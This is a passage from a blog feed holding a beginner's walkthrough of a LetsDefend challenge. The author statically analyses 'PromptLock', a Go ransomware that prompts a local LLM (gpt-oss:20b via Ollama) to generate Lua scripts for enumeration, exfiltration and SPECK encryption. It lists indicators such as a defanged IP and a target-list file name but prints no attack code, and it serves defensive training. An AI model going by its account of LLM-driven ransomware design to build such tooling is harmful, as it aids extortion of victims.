id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are tasked with analyzing &lt;strong&gt;PromptLock&lt;/strong&gt;, the first AI-powered ransomware. This malware is written in Go and leverages local AI models to generate malicious scripts on-the-fly. PromptLock can generate scripts from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption. These scripts are cross-platform compatible, functioning on Windows, Linux and macOS.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-programming-language-do-the-malicious-scripts-generated-by-promptlock-use&#34;&gt;Question 1: What programming language do the malicious scripts generated by PromptLock use?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by extracting the challenge file, &lt;code&gt;promptlock.zip&lt;/code&gt;. That leaves us with a single executable:&lt;/p&gt;&#xA;&lt;p&gt;e24fe0dd0bf8d3943d9c4282f172746af6b0787539b371e6626bdb86605ccd70.exe&lt;/p&gt;&#xA;&lt;p&gt;To start the analysis, we turn to &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Detect It Easy (DiE)&lt;/strong&gt;&lt;/a&gt;. &lt;em&gt;Detect It Easy&lt;/em&gt; is a popular file identification tool that&amp;rsquo;s especially useful early in a reverse engineering workflow. It can help identify compilers, metadata, and it also gives us access to plaintext strings that might expose clues about how the malware operates.&lt;/p&gt;&#xA;&lt;p&gt;Conveniently, &lt;em&gt;Detect It Easy&lt;/em&gt; is already installed on the LetsDefend VM under the &lt;em&gt;Tools&lt;/em&gt; folder. Once opened, select the PromptLock binary using the &lt;em&gt;File name&lt;/em&gt; selector to start the analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/46742ce30358d0bf76c28255f5f31130_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Selecting the Strings View&lt;/p&gt;&#xA;&lt;p&gt;Clicking the &lt;em&gt;Strings&lt;/em&gt; button lets us inspect human-readable data embedded in the binary. This is a smart starting point for a cursory review, especially when we&amp;rsquo;re trying to understand high-level capabilities without diving straight into disassembly.&lt;/p&gt;&#xA;&lt;p&gt;Since this is an introductory reverse-engineering challenge and I&amp;rsquo;m very much a beginner, let&amp;rsquo;s lean on the provided hint for a jump start.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1488px&#34; data-flex-grow=&#34;620&#34; height=&#34;129&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/56c488368102bb1ddb1f7bf4b749b070_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Perfect! That hint nudges us toward something visible in the strings output, so let&amp;rsquo;s search for &amp;ldquo;code generator&amp;quot;using DiE&amp;rsquo;s strings filter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/ac88d0aebe8d971a914de504d4eade7e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Searching strings and pasting into Notepad++&lt;/p&gt;&#xA;&lt;p&gt;The search returns a single match, but the raw output is hard to read in &lt;em&gt;DiE&lt;/em&gt;. Right-click the entry, copy the string, and paste it into &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Notepad++&lt;/strong&gt;&lt;/a&gt; or another text editor of your choice. Cleaning up the formatting makes the content much easier to understand.&lt;/p&gt;&#xA;&lt;p&gt;The prompt embedded in the binary instructs the LLM to behave as a &lt;em&gt;Lua code generator&lt;/em&gt;. That tells us the malicious scripts generated by PromptLock are written in &lt;strong&gt;Lua,&lt;/strong&gt; which answers &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Lua&lt;/em&gt; is lightweight, embeddable, and commonly used as a scripting language, which makes it a good choice for generating malicious scripts. Nice find!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1097px&#34; data-flex-grow=&#34;457&#34; height=&#34;175&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/d2f30b84685224ac2dfe7939608eeef7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-role-is-assigned-to-the-llm-for-analyze-sensitive-files-and-assess-cyberphysical-threats&#34;&gt;Question 2: What role is assigned to the LLM for analyze sensitive files and assess cyberphysical threats?&#xA;&lt;/h3&gt;&lt;p&gt;We can approach &lt;strong&gt;Question 2&lt;/strong&gt; the same way we did in the previous question. This time, we&amp;rsquo;re looking for strings that describe a role assigned to the LLM through the embedded prompt.&lt;/p&gt;&#xA;&lt;p&gt;One keyword from the question stands out immediately: &lt;em&gt;cyberphysical&lt;/em&gt;. It&amp;rsquo;s weird and likely to appear verbatim in the prompt text. That makes it a good candidate for a strings search. Let&amp;rsquo;s try it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/483349259a2474c5de580f6f2a13e7c1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Searching strings and pasting into Notepad++&lt;/p&gt;&#xA;&lt;p&gt;Bingo! That keyword leads us directly to an associated prompt. As before, right-click the matching string, copy it, and paste it into &lt;strong&gt;Notepad++&lt;/strong&gt; or another text editor to make it easier to read.&lt;/p&gt;&#xA;&lt;p&gt;Once the formatting is cleaned up, the context is clear. The prompt explicitly instructs the LLM to take on the role of a &lt;strong&gt;cybersecurity expert&lt;/strong&gt; for responding to requests. Assigning a role this way is a common prompt-engineering technique, intended to guide the model toward more context-relevant output.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1000px&#34; data-flex-grow=&#34;416&#34; height=&#34;192&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/2937a185ece8241a4555d759a14f336a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-go-version-was-used-to-build-the-promptlock-ransomware&#34;&gt;Question 3: What Go version was used to build the PromptLock ransomware?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s see if we can continue using &lt;strong&gt;Detect It Easy (DiE)&lt;/strong&gt; and its &lt;em&gt;Strings&lt;/em&gt; view to identify the &lt;strong&gt;Go&lt;/strong&gt; version used to build the PromptLock ransomware.&lt;/p&gt;&#xA;&lt;p&gt;To do that, we first need a rough understanding of how &lt;em&gt;Go&lt;/em&gt; versioning works. According to &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Go_%28programming_language%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Wikipedia&lt;/a&gt;, &amp;ldquo;Go uses a_ &lt;code&gt;_go1.[major].[patch]_&lt;/code&gt; &lt;em&gt;versioning format, such as&lt;/em&gt; &lt;code&gt;_go1.26.0.&amp;quot;&lt;/code&gt; This is a helpful tip and suggests we can search for the string &lt;code&gt;go1&lt;/code&gt; in the binary to identify development artifacts.&lt;/p&gt;&#xA;&lt;p&gt;With that in mind, let&amp;rsquo;s search for &lt;code&gt;go1&lt;/code&gt; using DiE&amp;rsquo;s strings filter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/e8123b1566ea97db79bd4ffc92c5c332_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Finding the Go version string&lt;/p&gt;&#xA;&lt;p&gt;There are a bunch of hits for &lt;code&gt;go1&lt;/code&gt;, which isn&amp;rsquo;t too surprising. But, scanning through the results, one entry stands out, because it closely matches the expected &lt;code&gt;go1.X&lt;/code&gt; format used for version identifiers.&lt;/p&gt;&#xA;&lt;p&gt;That string indicates the specific &lt;em&gt;Go&lt;/em&gt; version (&lt;code&gt;_go1.24.5_&lt;/code&gt;) used to compile the binary, giving us the answer to &lt;strong&gt;Question 3&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1066px&#34; data-flex-grow=&#34;444&#34; height=&#34;180&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/04e8033965a5ebf3fe26cafbc0b78bde_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-ai-model-does-promptlock-use-locally-via-the-ollama-api-to-generate-malicious-scripts&#34;&gt;Question 4: Which AI model does PromptLock use locally via the Ollama API to generate malicious scripts?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we need to crank up the difficulty slightly. This time, there wasn&amp;rsquo;t an obvious or relevant string in &lt;em&gt;Detect It Easy&amp;rsquo;s&lt;/em&gt; &lt;em&gt;Strings&lt;/em&gt; view that pointed directly to the AI model used by the malware.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s our cue to shuffle the approach.&lt;/p&gt;&#xA;&lt;p&gt;For this task, let&amp;rsquo;s move over to &lt;a class=&#34;link&#34; href=&#34;https://github.com/nationalsecurityagency/ghidra&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Ghidra&lt;/strong&gt;&lt;/a&gt;, the popular open-source reverse engineering tool. From the &lt;em&gt;Tools&lt;/em&gt; folder, launch it by running &lt;code&gt;ghidraRun.bat&lt;/code&gt;, step through the setup prompts, and allow Ghidra to analyze the PromptLock binary. Once analysis completes, Ghidra asks whether we want to jump straight to the &lt;code&gt;main.main&lt;/code&gt; function, which is almost always a solid jumping-off point.&lt;/p&gt;&#xA;&lt;p&gt;With &lt;code&gt;main.main&lt;/code&gt; open, focus on the &lt;em&gt;Decompiler&lt;/em&gt; window on the right. Scrolling through the variables and references, we&amp;rsquo;ll stumble across a call to &lt;code&gt;main.model&lt;/code&gt; appearing on line 244. That sounds promising&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Go ahead and click &lt;code&gt;main.model&lt;/code&gt; to jump to its definition in the central, listing window.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;564&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/7e49a63de5241ff172cd3fb0b8981a89_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ghidra: Identifying the AI model from the main.model function&lt;/p&gt;&#xA;&lt;p&gt;Here we find a string value assigned to &lt;code&gt;main.model.str&lt;/code&gt;: &lt;code&gt;gpt-oss:20b&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This tells us which AI model PromptLock is configured to use locally through &lt;strong&gt;Ollama:&lt;/strong&gt; &lt;em&gt;gpt-oss:20b&lt;/em&gt;. This is an &lt;strong&gt;OpenAI&lt;/strong&gt;-released**,** open-weight language model designed for running locally. That makes it a good fit for this scenario, as PromptLock seems to generate malicious scripts entirely on-host without relying on external connectivity or credentials.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1066px&#34; data-flex-grow=&#34;444&#34; height=&#34;180&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/da171080127825dfeb113e80e8041fdc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-hardcoded-ip-address-that-promptlock-connectsto&#34;&gt;Question 5: What is the hardcoded IP address that PromptLock connects to?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we need to identify a hard-coded IP address embedded in the PromptLock binary. While there are a few different ways to approach this using the tools we&amp;rsquo;ve already touched, let&amp;rsquo;s pivot and get some hands-on time with another option: &lt;a class=&#34;link&#34; href=&#34;https://www.winitor.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;pestudio&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;pestudio&lt;/em&gt; is a fantastic static malware analysis tool that can surface a wide range of useful indicators quickly and with very little setup. It&amp;rsquo;s especially good at identifying things like IP addresses, URLs, and suspicious strings without requiring deep reverse engineering. Conveniently, this tool is also already included on the LetsDefend VM, so let&amp;rsquo;s take advantage of that.&lt;/p&gt;&#xA;&lt;p&gt;Open &lt;em&gt;pestudio&lt;/em&gt; and load the PromptLock executable. After a short analysis period, the panels on the left begin to populate. The section we&amp;rsquo;re interested in first is &lt;em&gt;Indicators&lt;/em&gt; at the top.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/0687cbc235566a11327bb1d667d7fba4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;pestudio: Uncovering a hardcoded IP address&lt;/p&gt;&#xA;&lt;p&gt;This gives us a fast way to surface potential network indicators that we can later pivot on using threat intelligence or additional dynamic analysis. In this case, the URL pattern detected by &lt;em&gt;pestudio&lt;/em&gt; resolves to the hardcoded IP address we&amp;rsquo;re looking for: &lt;code&gt;172[.]42[.]0[.]253&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1005px&#34; data-flex-grow=&#34;418&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/9c24115fcf89e1ad2164288527509f77_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-which-encryption-algorithm-does-the-promptlock-ransomware-use-for-file-encryption&#34;&gt;Question 6: Which encryption algorithm does the PromptLock ransomware use for file encryption?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 6&lt;/strong&gt;, let&amp;rsquo;s jump back to &lt;em&gt;Detect It Easy&lt;/em&gt; and take the path of least resistance by searching for a string related to encryption functionality.&lt;/p&gt;&#xA;&lt;p&gt;A good starting point here is searching for the string &lt;code&gt;&amp;quot;encrypt&amp;quot;&lt;/code&gt;. That returns a large number of results, which isn&amp;rsquo;t surprising for a ransomware sample. Fortunately, near the top of the list, there&amp;rsquo;s something immediately conspicuous: a prompt instruction that explicitly references the &lt;em&gt;SPECK&lt;/em&gt; 128-bit encryption algorithm. You might even notice a small spoiler for &lt;strong&gt;Question 8&lt;/strong&gt; hiding nearby.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/afa38bf803aabe4274dc95d0cbcbb4a9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Locating the ransomware encryption algorithm string&lt;/p&gt;&#xA;&lt;p&gt;That string gives us what we need to answer &lt;strong&gt;Question 6&lt;/strong&gt;. PromptLock uses &lt;strong&gt;SPECK&lt;/strong&gt; 128-bit for encryption.&lt;/p&gt;&#xA;&lt;p&gt;The use of &lt;em&gt;SPECK&lt;/em&gt; seems consistent with how this malware approaches its overall design. According to &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Speck_%28cipher%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;SPECK&lt;/em&gt; is a &amp;quot; # &amp;ldquo;family of lightweight block ciphers&amp;rdquo;, making it practical for ransomware that prioritizes cross-platform portability and low overhead.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1049px&#34; data-flex-grow=&#34;437&#34; height=&#34;183&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/d0ea537ede74f32c869fde464b939e53_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-bitcoin-address-embedded-in-thebinary&#34;&gt;Question 7: What is the Bitcoin address embedded in the binary?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 7&lt;/strong&gt;, we can take a straightforward approach by adjusting our search of the embedded strings for &lt;code&gt;&amp;quot;bitcoin&amp;quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/d9f8b0c2d5d730324d2dc5776946f37f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Discovering the attacker&amp;rsquo;s Bitcoin wallet address&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s a quick payoff. Take a look at the first entry and copy it and paste it into a text editor for easier reading. From there, we&amp;rsquo;ll find that the prompt instructs the LLM to include a specific &lt;strong&gt;Bitcoin&lt;/strong&gt; address in the generated ransom note. Nice!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1026px&#34; data-flex-grow=&#34;427&#34; height=&#34;187&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/3280190803bbe5ddfe3b969491c1f8a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-file-name-contains-the-list-of-files-toencrypt&#34;&gt;Question 8: What is the file name contains the list of files to encrypt?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question. Remember back in &lt;strong&gt;Question 7&lt;/strong&gt; when I mentioned you might have spotted a spoiler for what was coming next?&lt;/p&gt;&#xA;&lt;p&gt;If we look closely at the strings output again, specifically at line 11359, right below the one we used to answer &lt;strong&gt;Question 7&lt;/strong&gt;, we&amp;rsquo;ll find another useful instruction. This time, the prompt references a file named &lt;code&gt;target_file_list.log&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The instructions indicate that this file is used to identify the encryption targets, telling PromptLock which files it should encrypt. That makes &lt;code&gt;target_file_list.log&lt;/code&gt; the answer to &lt;strong&gt;Question 8&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/e3532889fb9acf6dc9826b010232057b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Finding the target list file name string&lt;/p&gt;&#xA;&lt;p&gt;This is a particularly valuable piece of evidence from a defensive perspective. Knowing the file name that contains the list of targets could help us better understand the scope of impact on a victim device, recover during an investigation, and build more precise detections.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/bbedc6d361f977477bf294f6598c56e9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;451px&#34; data-flex-grow=&#34;188&#34; height=&#34;425&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/c92669e56343983a7305cd59babe90ea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another great challenge that pushed me into some new territory.&lt;/p&gt;&#xA;&lt;p&gt;This one was a good reminder that even with beginner-level reverse engineering skills, you can still extract a surprising amount of meaningful information from a malware sample. By leaning on static analysis techniques and using the right tools at the right time, we were able to uncover AI model usage, encryption choices, network indicators, and attacker intent without needing to be a reversing wizard. That&amp;rsquo;s encouraging, especially if you&amp;rsquo;re earlier in your journey or hesitant to dive into malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;For me, this challenge was as much about building confidence as it was about answering questions. Static analysis isn&amp;rsquo;t always flashy, but it&amp;rsquo;s incredibly powerful, and working through PromptLock reinforced the value of slowing down, reading carefully, and following the evidence where it leads. There were moments where I stumbled or took a less-than-ideal path, but each of those course corrections helped reinforce the process and make the lessons stick.&lt;/p&gt;&#xA;&lt;p&gt;It also feels like scenarios like this aren&amp;rsquo;t just theoretical. As AI becomes more accessible and more normalized, it&amp;rsquo;s not hard to imagine malware authors experimenting with similar designs. Getting comfortable with the terminology, tooling, and patterns now feels like a smart way to stay ahead of the curve, even if the analysis feels a little weird at first.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ai-powered-ransomware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/ai-powered-ransomware&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Detect It Easy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/horsicq/Detect-It-Easy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — Go (Programming Language):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Go_%28programming_language%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Go_(programming_language)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ghidra:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/nationalsecurityagency/ghidra&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/nationalsecurityagency/ghidra&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;pestudio:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.winitor.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.winitor.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — Speck (cipher):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Speck_%28cipher%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/Speck_(cipher)&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  — MemLoot Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/</link>
            <pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/</guid>
